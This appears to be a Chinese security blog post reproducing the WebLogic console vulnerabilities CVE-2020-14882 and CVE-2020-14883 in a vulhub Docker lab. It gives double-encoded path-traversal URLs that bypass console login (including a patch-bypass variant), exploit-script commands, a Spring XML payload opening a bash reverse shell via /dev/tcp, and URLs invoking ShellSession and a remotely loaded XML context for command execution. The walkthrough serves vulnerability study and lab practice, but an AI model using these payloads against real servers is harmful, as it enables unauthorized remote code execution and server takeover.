Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883

Bertha 。 2023-10-07 21:44 44阅读 0赞

### 漏洞名称 ###

###  ###

### 漏洞描述 ###

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882，CVE-2020-14883)。

CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台

CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令

使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身 份执行命令。

### 受影响版本 ###

10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

## 一、环境搭建 ##

### Weblogic未授权访问漏洞-CVE-2020-14882 ###

使用vulhub靶场

git clone [https://github.com/vulhub/vulhub.git][https_github.com_vulhub_vulhub.git] \#vulhuba靶场下载

> 1.cd vulhub/weblogic/CVE-2020-14882
> 
> 2.docker-compose up -d \#启动环境

![541a1e04a55346919aed285cf2ab126e.png][]

![de601cb52fcc43a997a792bb24475d03.png][]

> 查看是否搭建成功
> 
> 访问 http://your-IP:7001/console
> 
> 出现此界面，表示搭建成功

![3cbb7bde2ac44728a5fb99518da64911.png][]

### **二、绕过后台登录** ###

**权限漏洞绕过，主要的POC如下：**

> /console/images/%252E%252E%252Fconsole.portal
> 
> /console/css/%25%32%65%25%32%65%25%32%66console.portal
> 
> 大写换成小写可绕过补丁：
> 
> /console/css/%252e%252e%252fconsole.portal

> 绕过后台登录
> 
> http://your-ip:7001/console/images/%252E%252E%252Fconsole.portal

![931b71dc313e4805b491c96b43c89dae.png][]

访问后台后是一个低权限的用户，无法安装应用，也无法直接执行任意代码。

## 三、脚本利用 ##

> 脚本地址：[ https://github.com/backlion/CVE-2020-14882\_ALL][https_github.com_backlion_CVE-2020-14882_ALL]
> 
> 命令回显： python3 CVE-2020-14882——ALL.py -u http://your-ip:7001/ -c "whoami"
> 
> python3 CVE-2020-14882——ALL.py -u http://your-ip:7001/ -c "ls"

![5f791b86bc6a4343a3298f5bfd31a890.png][]

![143b622977f340d592ceb0647c85d5ac.png][]

> #### **外置xml文件无回显命令执行** ####
> 
> Linux反弹shell为例，编辑poc.xml文件
> 
> 命令：touch poc.xml

> 当前目录新建poc.xml

![86a7aaa3a6c84c1198cb20fe95188d2e.png][]

> 写入以下代码：
> 
> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">  
> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">  
> <constructor-arg>  
> <list>  
> <value>/bin/bash</value>  
> <value>-c</value>  
> <value><!\[CDATA\[bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx  0>&1\]\]></value>  
> </list>  
> </constructor-arg>  
> </bean>  
> </beans>
> 
>     注意：上面反弹的地址是your-IP地址和任意端口

> 在当前目录执行以下命令，服务器就在当前目录
> 
> python3 -m http.server \#开启新的服务器

![3c3c225dccb2446b986be87de403c160.png][]![0f7b957121324ea7852ffb4db91f88f8.png][]

> 通过脚本执行命令：
> 
> python3 CVE-2020-14882\_ALL.py -u http://172.16.115.130:7001/ -x http://172.16.115.130:8000/poc.xml

![cb18a318e05a4925a95d734eb3359162.png][]

> 打开监听
> 
> nc -lvvp 2023

![178e60fd5923425da6ce96627d583d7b.png][]

## weblogic远程命令执行（CVE-2020-14883） ##

CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令

使用CVE-2020-14882 环境复现

这个漏洞一共有两种利用方法：

> 第一种方法是通过：com.tangosol.coherence.mvel2.sh.ShellSession

> 执行命令：
> 
> http://172.16.115.130:7001/console/css/%252e%252e%252fconsole.portal?\_nfpb=true&\_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/abcde');")

![da7cd4c85fa349a098551be1e47e42fb.png][]

> docker exec -it 容器ID /bin/bash \#查看是否创建成功

![dd2e200502f7456a89ef4bf6980d0965.png][]

这个利用方法只能在Weblogic 12.2.1以上版本利用，因为10.3.6并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类

> 第二种方法：
> 
> com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法，最早在CVE-2019-2725被提出，对于所有Weblogic版本均有效。

> \#开启一个服务器
> 
> python3 -m http.server

![b8ccf099b1f244b89f733da5fc14fbbd.png][]

>     #新建qwe.xml文件，写入以下内容,并保存至刚开启的服务器上
>     <?xml version="1.0" encoding="UTF-8" ?>
>     <beans xmlns="http://www.springframework.org/schema/beans"
>        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>        xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
>         <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
>             <constructor-arg>
>               <list>
>                 <value>bash</value>
>                 <value>-c</value>
>                 <value><![CDATA[touch /tmp/zxcvb]]></value>
>               </list>
>             </constructor-arg>
>         </bean>
>     </beans>

> \#然后通过如下URL，即可让Weblogic加载这个XML，并执行其中的命令：
> 
> http://172.17.0.1:7001/console/css/%252e%252e%252fconsole.portal?
> 
> \_nfpb=true&\_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.16.115.130/qwe.xml")

![80e4615e447f41e1aa797562bb1529be.png][]

> 进入容器查看是否创建成功：
> 
> docker exec -it 容器id /bin/bash

![3c4ec856f7c140e0990915a1892fde9e.png][]

参考链接：

[https://blog.csdn.net/qq\_32731075/article/details/117673410][https_blog.csdn.net_qq_32731075_article_details_117673410]

[http://luckysec.cn/posts/b52ee26f.html][http_luckysec.cn_posts_b52ee26f.html]

如有问题，欢迎留言。

[https_github.com_vulhub_vulhub.git]: https://github.com/vulhub/vulhub.git
[541a1e04a55346919aed285cf2ab126e.png]: https://img-blog.csdnimg.cn/541a1e04a55346919aed285cf2ab126e.png
[de601cb52fcc43a997a792bb24475d03.png]: https://img-blog.csdnimg.cn/de601cb52fcc43a997a792bb24475d03.png
[3cbb7bde2ac44728a5fb99518da64911.png]: https://img-blog.csdnimg.cn/3cbb7bde2ac44728a5fb99518da64911.png
[931b71dc313e4805b491c96b43c89dae.png]: https://img-blog.csdnimg.cn/931b71dc313e4805b491c96b43c89dae.png
[https_github.com_backlion_CVE-2020-14882_ALL]: https://github.com/backlion/CVE-2020-14882_ALL
[5f791b86bc6a4343a3298f5bfd31a890.png]: https://img-blog.csdnimg.cn/5f791b86bc6a4343a3298f5bfd31a890.png
[143b622977f340d592ceb0647c85d5ac.png]: https://img-blog.csdnimg.cn/143b622977f340d592ceb0647c85d5ac.png
[86a7aaa3a6c84c1198cb20fe95188d2e.png]: https://img-blog.csdnimg.cn/86a7aaa3a6c84c1198cb20fe95188d2e.png
[3c3c225dccb2446b986be87de403c160.png]: https://img-blog.csdnimg.cn/3c3c225dccb2446b986be87de403c160.png
[0f7b957121324ea7852ffb4db91f88f8.png]: https://img-blog.csdnimg.cn/0f7b957121324ea7852ffb4db91f88f8.png
[cb18a318e05a4925a95d734eb3359162.png]: https://img-blog.csdnimg.cn/cb18a318e05a4925a95d734eb3359162.png
[178e60fd5923425da6ce96627d583d7b.png]: https://img-blog.csdnimg.cn/178e60fd5923425da6ce96627d583d7b.png
[da7cd4c85fa349a098551be1e47e42fb.png]: https://img-blog.csdnimg.cn/da7cd4c85fa349a098551be1e47e42fb.png
[dd2e200502f7456a89ef4bf6980d0965.png]: https://img-blog.csdnimg.cn/dd2e200502f7456a89ef4bf6980d0965.png
[b8ccf099b1f244b89f733da5fc14fbbd.png]: https://img-blog.csdnimg.cn/b8ccf099b1f244b89f733da5fc14fbbd.png
[80e4615e447f41e1aa797562bb1529be.png]: https://img-blog.csdnimg.cn/80e4615e447f41e1aa797562bb1529be.png
[3c4ec856f7c140e0990915a1892fde9e.png]: https://img-blog.csdnimg.cn/3c4ec856f7c140e0990915a1892fde9e.png
[https_blog.csdn.net_qq_32731075_article_details_117673410]: https://blog.csdn.net/qq_32731075/article/details/117673410
[http_luckysec.cn_posts_b52ee26f.html]: http://luckysec.cn/posts/b52ee26f.html